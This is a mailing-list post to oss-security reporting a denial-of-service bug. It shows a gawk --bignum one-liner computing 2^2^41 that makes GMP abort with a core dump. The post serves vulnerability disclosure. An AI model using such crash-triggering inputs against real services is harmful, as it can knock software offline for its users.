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Date: Wed, 14 Sep 2022 10:52:46 +0300
From: Georgi Guninski <gguninski@...il.com>
To: oss-security@...ts.openwall.com
Subject: Re: sagemath denial of service with abort() in gmp:
overflow in mpz type
On Wed, Sep 7, 2022 at 8:36 AM Georgi Guninski <gguninski@...il.com> wrote:
>
> $ apt-cache rdepends libgmp10 | grep -i crypt | wc -l
> 28
>
> some examples:
> gawk
Hopefully last post in this thread:
guest3@...ntu20:~/prim$ gawk --bignum 'BEGIN { a = 2 ^ 2 ^41; print "a =", a }'
gmp: overflow in mpz type
Aborted (core dumped)
guest3@...ntu20:~/prim$ gawk 'BEGIN { a = 2 ^ 2 ^41; print "a =", a }'
a = +inf
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